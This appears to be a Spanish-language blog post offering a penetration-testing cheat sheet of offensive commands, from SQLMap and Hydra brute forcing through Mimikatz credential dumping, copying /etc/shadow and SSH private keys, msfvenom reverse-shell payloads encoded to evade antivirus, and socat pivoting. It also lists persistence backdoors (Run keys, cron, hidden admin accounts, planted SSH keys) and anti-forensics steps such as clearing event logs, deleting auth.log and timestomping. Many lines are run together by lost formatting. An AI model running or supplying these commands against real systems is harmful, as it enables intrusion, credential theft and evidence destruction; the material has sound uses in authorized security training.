No siempre se cuenta con suites como Kali o compendios de scripts siendo necesario correr en puro y manualmente algunas comprobaciones, por lo que vale estas recetas, machetes o chuletas
Aplicación con vulnerabilidades para practicar
Damn Vulnerable Web Application (DVWA)
Buscador de Exploits desde la línea de comandos (ExploitDB)
Buscar documentación de herramientas
Comando MySQL - Current activity and status of all client connections (threads)
MySQL SHOW FULL PROCESSLIST;
Comando con SQLMap para automatizar SQL Injection
sqlmap -u http://target.com/vuln.php?id=1 –dbs
Comando con OWASP ZAP para detectar XSS
zap-cli quick-scan –self-contained –api-key= http://target.com
Comando con Nikto para detectar RFI
nikto -h http://target.com
Comando con Burp Suite para detectar LFI (Local File Inclusion)
burpsuite
Luego, realiza un escaneo en el sitio web vulnerable.
Comando con Dirbuster para Enumeración de Directorios y Archivos Ocultos:
dirbuster -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Comando con Hydra para realizar fuerza bruta en un panel de administración
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form /admin/login.php=^USER^&password=^PASS^failed -vV
Comando con Sublist3r para enumerar subdominios
sublist3r -d target.com
Comando con SMBclient para enumerar recursos compartidos
smbclient -L IP_Server -U guest
Comando para escanear puertos SMB y detectar vulnerabilidades
nmap –script smb-vuln* -p445
Comando para conectarse a un recurso compartido
smbclient IP_Server -U guestComando para enumerar usuarios y recursos compartidos con CrackMapExec
crackmapexec smbMetasploit para extraer los hashes del archivo SAM
use post/windows/gather/hashdump set SESSIONrunMimikatz - Comando para extraer contraseñas en texto claro (dentro del sistema)
sekurlsa::logonpasswordsComando para copiar el archivo shadow
cat /etc/shadow > shadow_copy.txtUso de John the Ripper para descifrar los hashes
john –wordlist=/ruta/diccionario.txt shadow_copy.txtExtracción de Tokens Kerberos con Mimikatz
sekurlsa::ticketsLista los tokens de Kerberos almacenados en la memoria del sistema -> pass the ticket
Comando para copiar una clave SSH privada
cat ~/.ssh/id_rsa > ssh_key.txtComando para utilizar la clave privada para iniciar sesión
ssh -i ssh_key.txt usuario@servidorComando en Mimikatz para Extraer credenciales RDP
sekurlsa::msvMetasploit - Comando para extraer credenciales de sesiones RDP activas
use post/windows/gather/credentials/rdpset SESSIONrunComando para evitar UAC en Metasploit Metasploit
use exploit/windows/local/bypassuacset SESSIONrunComando para buscar archivos con SUID activado
find / -perm -4000 2>/dev/nullComando para ver los permisos de sudo
sudo -lLinPEAS: Herramienta para escanear vulnerabilidades en Linux que permiten escalación de privilegios.
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.shchmod +x linpeas.sh./linpeas.shWinPEAS: Versión para Windows que automatiza la búsqueda de configuraciones inseguras.
Invoke-WebRequest -Uri https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.bat -OutFile winpeas.bat.\winpeas.batComando para configurar pivoting en Metasploit
use post/multi/manage/autorouteset SESSIONset SUBNETrun
Ejemplo de configuración de un túnel SSH para pivoting
ssh -D 1080 -N -f usuario@servidor_comprometidoComando para usar ProxyChains con SSH
proxychains nmap -sT -p 80 192.168.10.0/24ProxyChains es una herramienta que facilita el uso de túneles SOCKS y puede redirigir cualquier aplicación a través del túnel.
Pivoting a través de 4 máquinas usando socat
Escenario
Máquina atacante → 2. Máquina A → 3. Máquina B → 4. Máquina C → 5. Máquina D (objetivo final)
Pasos
Máquina atacante crea un túnel con Máquina A:
socat TCP-LISTEN:8080,fork TCP:maquina_A_IP:8888Máquina A redirige el tráfico hacia Máquina B:
socat TCP-LISTEN:8888,fork TCP:maquina_B_IP:9999Máquina B redirige el tráfico hacia Máquina C:
socat TCP-LISTEN:9999,fork TCP:maquina_C_IP:10000Máquina C finalmente redirige el tráfico hacia Máquina D:
socat TCP-LISTEN:10000,fork TCP:maquina_D_IP:22Desde la Máquina atacante, puedes conectarte a la Máquina D (puerto 22) a través de todos los saltos:
ssh -p 8080 usuario@localhostEvasión AV
Comando en Metasploit para generar un payload ofuscado
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > payload.exeExplicación: Este comando genera un payload cifrado utilizando el encoder shikata_ga_nai para evitar su detección por antivirus.
Comando para generar un payload ofuscado con Veil
veiluse python/meterpreter/rev_tcpset LHOSTset LPORTgenerateExplicación: Veil genera un payload que es indetectable por la mayoría de los antivirus, utilizando técnicas de cifrado y ofuscación.
Comando para redirigir tráfico a través de un túnel SSH
ssh -L 8080:localhost:80 usuario@servidor_comprometidoEvasion de FW
Ejemplo de configuración de socat para redirigir tráfico cifrado:
socat openssl-listen:443,cert=cert.pem,verify=0 TCP:localhost:80Evasión de IDS
Ejemplo de fragmentación de paquetes con Fragroute
fragroute -f fragroute.confPersistencia
Windows
Ejemplo de persistencia con PowerShell en la clave Run
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MyPayload /t REG_SZ /d C:\ruta\malware.exeComando para crear una tarea programada
schtasks /create /tn UpdateTask /tr C:\ruta\malware.exe /sc onlogon /ru SYSTEMEjemplo de creación de un servicio persistente
sc create MyService binPath= C:\ruta\malware.exe start= autoLinux
Ejemplo de modificación de .bashrc
[ echo «/ruta/a/payload» >> ~/.bashrc ]Comando para agregar un cron job
(crontab -l ; echo */5 * * * * /ruta/a/payload) | crontab –Agregar una clave SSH maliciosa
echo ssh-rsa AAAAB3Nza… >> ~/.ssh/authorized_keysComando para establecer persistencia con Metasploit
use post/windows/manage/persistenceset SESSIONset PAYLOAD windows/meterpreter/reverse_tcprunComando para crear un usuario oculto (Windows):
net user backdoor_password /addnet localgroup administrators backdoor /addComando para crear un usuario oculto en Linux:
sudo useradd -m -r -s /bin/bash backdoor_userComando para limpiar los logs de eventos en Windows:
wevtutil cl Systemwevtutil cl SecurityComando para modificar el archivo auth.log
sudo nano /var/log/auth.logEliminar logs en Linux
rm /var/log/auth.logModificar timestamps en Linux
touch -t 202201010101.01 archivo.txtModificar timestamps en Windows con Metasploit
timestomp archivo.txt -m 01/01/2022 01:01:01Comando para ocultar un archivo en Linux
mv archivo.txt .archivo.txtComando para eliminación segura en Linux
shred -u archivo.txtComando para configurar SFTP en un servidor Linux
sudo apt-get install openssh-serversudo nano /etc/ssh/sshd_configDentro del archivo sshd_config, habilita el uso de SFTP:
Subsystem sftp /usr/lib/openssh/sftp-server


0 comments:
Publicar un comentario